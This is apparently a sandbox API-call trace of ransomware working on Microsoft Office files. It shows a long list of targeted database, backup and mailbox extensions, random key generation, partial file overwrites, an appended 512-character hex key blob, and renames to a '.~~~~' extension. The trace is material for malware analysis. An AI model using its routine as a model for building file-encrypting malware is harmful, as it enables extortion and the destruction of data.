	[0136.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".db") returned 0x0
	[0136.777] lstrlenW (lpString=".TXT") returned 4
	[0136.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".TXT") returned 0x0
	[0136.777] lstrlenW (lpString=".MDF") returned 4
	[0136.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".MDF") returned 0x0
	[0136.777] lstrlenW (lpString=".bdb") returned 4
	[0136.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".bdb") returned 0x0
	[0136.778] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0136.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.778] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395058) returned 1
	[0136.779] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.779] CryptReleaseContext (hProv=0x395058, dwFlags=0x0) returned 1
	[0136.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0136.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0136.780] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25676973994) returned 1
	[0136.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbaf87870, dwHighDateTime=0x1d60e1e)) 
	[0136.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0136.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0136.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0136.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4d98
	[0136.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4d98 | out: hHeap=0x300000) returned 1
	[0136.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0136.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.781] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0136.781] GetLastError () returned 0x0
	[0136.781] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0136.781] GetLastError () returned 0x0
	[0136.790] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.790] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0136.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0136.792] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.792] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.792] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.792] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.792] CloseHandle (hObject=0xc4) returned 1
	[0136.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0136.793] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll.~~~~")) returned 1
	[0136.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0136.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0136.796] GetLastError () returned 0x0
	[0136.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".scr") returned 0x0
	[0136.796] lstrlenW (lpString=".cmd") returned 4
	[0136.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".cmd") returned 0x0
	[0136.796] lstrlenW (lpString=".dll") returned 4
	[0136.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".dll") returned 0x0
	[0136.796] lstrlenW (lpString=".bat") returned 4
	[0136.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".bat") returned 0x0
	[0136.796] lstrlenW (lpString=".cpl") returned 4
	[0136.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".cpl") returned 0x0
	[0136.796] lstrlenW (lpString=".sys") returned 4
	[0136.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".sys") returned 0x0
	[0136.796] lstrlenW (lpString=".msc") returned 4
	[0136.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".msc") returned 0x0
	[0136.797] lstrlenW (lpString=".com") returned 4
	[0136.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".com") returned 0x0
	[0136.797] lstrlenW (lpString=".lnk") returned 4
	[0136.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".lnk") returned 0x0
	[0136.797] lstrlenW (lpString=".msp") returned 4
	[0136.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".msp") returned 0x0
	[0136.797] lstrlenW (lpString=".pif") returned 4
	[0136.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".pif") returned 0x0
	[0136.797] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0136.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0136.799] lstrlenW (lpString=".sqb") returned 4
	[0136.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".sqb") returned 0x0
	[0136.799] lstrlenW (lpString=".ost") returned 4
	[0136.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".ost") returned 0x0
	[0136.799] lstrlenW (lpString=".txt") returned 4
	[0136.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".txt") returned 0x0
	[0136.799] lstrlenW (lpString=".mdt") returned 4
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".mdt") returned 0x0
	[0136.800] lstrlenW (lpString=".BDB") returned 4
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".BDB") returned 0x0
	[0136.800] lstrlenW (lpString=".eql") returned 4
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".eql") returned 0x0
	[0136.800] lstrlenW (lpString=".DBF") returned 4
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".DBF") returned 0x0
	[0136.800] lstrlenW (lpString=".EQL") returned 4
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".EQL") returned 0x0
	[0136.800] lstrlenW (lpString=".FDB") returned 4
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".FDB") returned 0x0
	[0136.800] lstrlenW (lpString=".EDB") returned 4
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".EDB") returned 0x0
	[0136.800] lstrlenW (lpString=".DACPAC") returned 7
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".DACPAC") returned 0x0
	[0136.800] lstrlenW (lpString=".VHD") returned 4
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".VHD") returned 0x0
	[0136.800] lstrlenW (lpString=".DBV") returned 4
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".DBV") returned 0x0
	[0136.800] lstrlenW (lpString=".dacpac") returned 7
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".dacpac") returned 0x0
	[0136.800] lstrlenW (lpString=".sdf") returned 4
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".sdf") returned 0x0
	[0136.800] lstrlenW (lpString=".accdb") returned 6
	[0136.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".accdb") returned 0x0
	[0136.800] lstrlenW (lpString=".DBX") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".DBX") returned 0x0
	[0136.801] lstrlenW (lpString=".MDT") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".MDT") returned 0x0
	[0136.801] lstrlenW (lpString=".SQB") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".SQB") returned 0x0
	[0136.801] lstrlenW (lpString=".vhd") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".vhd") returned 0x0
	[0136.801] lstrlenW (lpString=".bac") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".bac") returned 0x0
	[0136.801] lstrlenW (lpString=".mdf") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".mdf") returned 0x0
	[0136.801] lstrlenW (lpString=".BAK") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".BAK") returned 0x0
	[0136.801] lstrlenW (lpString=".BAC") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".BAC") returned 0x0
	[0136.801] lstrlenW (lpString=".dbs") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".dbs") returned 0x0
	[0136.801] lstrlenW (lpString=".vhdx") returned 5
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".vhdx") returned 0x0
	[0136.801] lstrlenW (lpString=".NDF") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".NDF") returned 0x0
	[0136.801] lstrlenW (lpString=".dat") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".dat") returned 0x0
	[0136.801] lstrlenW (lpString=".DBS") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".DBS") returned 0x0
	[0136.801] lstrlenW (lpString=".CKP") returned 4
	[0136.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".CKP") returned 0x0
	[0136.802] lstrlenW (lpString=".edb") returned 4
	[0136.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".edb") returned 0x0
	[0136.802] lstrlenW (lpString=".PST") returned 4
	[0136.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".PST") returned 0x0
	[0136.804] lstrlenW (lpString=".dbf") returned 4
	[0136.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".dbf") returned 0x0
	[0136.804] lstrlenW (lpString=".SQL") returned 4
	[0136.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".SQL") returned 0x0
	[0136.804] lstrlenW (lpString=".pst") returned 4
	[0136.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".pst") returned 0x0
	[0136.804] lstrlenW (lpString=".dbv") returned 4
	[0136.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".dbv") returned 0x0
	[0136.804] lstrlenW (lpString=".SDF") returned 4
	[0136.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".SDF") returned 0x0
	[0136.804] lstrlenW (lpString=".dtxs") returned 5
	[0136.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".dtxs") returned 0x0
	[0136.804] lstrlenW (lpString=".db3") returned 4
	[0136.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".db3") returned 0x0
	[0136.804] lstrlenW (lpString=".OST") returned 4
	[0136.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".OST") returned 0x0
	[0136.804] lstrlenW (lpString=".dbx") returned 4
	[0136.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".dbx") returned 0x0
	[0136.804] lstrlenW (lpString=".DB3") returned 4
	[0136.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".DB3") returned 0x0
	[0136.805] lstrlenW (lpString=".DAT") returned 4
	[0136.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".DAT") returned 0x0
	[0136.805] lstrlenW (lpString=".VHDX") returned 5
	[0136.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".VHDX") returned 0x0
	[0136.805] lstrlenW (lpString=".ndf") returned 4
	[0136.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".ndf") returned 0x0
	[0136.805] lstrlenW (lpString=".DB") returned 3
	[0136.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".DB") returned 0x0
	[0136.805] lstrlenW (lpString=".sql") returned 4
	[0136.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".sql") returned 0x0
	[0136.805] lstrlenW (lpString=".MYD") returned 4
	[0136.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".MYD") returned 0x0
	[0136.805] lstrlenW (lpString=".DBT") returned 4
	[0136.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".DBT") returned 0x0
	[0136.805] lstrlenW (lpString=".ACCDB") returned 6
	[0136.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".ACCDB") returned 0x0
	[0136.805] lstrlenW (lpString=".fdb") returned 4
	[0136.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".fdb") returned 0x0
	[0136.805] lstrlenW (lpString=".bak") returned 4
	[0136.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".bak") returned 0x0
	[0136.806] lstrlenW (lpString=".myd") returned 4
	[0136.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".myd") returned 0x0
	[0136.806] lstrlenW (lpString=".DTXS") returned 5
	[0136.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".DTXS") returned 0x0
	[0136.806] lstrlenW (lpString=".ckp") returned 4
	[0136.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".ckp") returned 0x0
	[0136.806] lstrlenW (lpString=".dbt") returned 4
	[0136.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".dbt") returned 0x0
	[0136.806] lstrlenW (lpString=".db") returned 3
	[0136.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".db") returned 0x0
	[0136.806] lstrlenW (lpString=".TXT") returned 4
	[0136.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".TXT") returned 0x0
	[0136.806] lstrlenW (lpString=".MDF") returned 4
	[0136.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".MDF") returned 0x0
	[0136.806] lstrlenW (lpString=".bdb") returned 4
	[0136.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".bdb") returned 0x0
	[0136.806] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0136.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.807] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394a80) returned 1
	[0136.808] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.808] CryptReleaseContext (hProv=0x394a80, dwFlags=0x0) returned 1
	[0136.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0136.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0136.808] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25679812103) returned 1
	[0136.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbafd3b30, dwHighDateTime=0x1d60e1e)) 
	[0136.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0136.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0136.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0136.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4d28
	[0136.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4d28 | out: hHeap=0x300000) returned 1
	[0136.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc5d8
	[0136.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.809] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0136.809] GetLastError () returned 0x0
	[0136.809] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0136.809] GetLastError () returned 0x0
	[0136.890] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.892] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0136.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0136.894] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.895] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.070] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
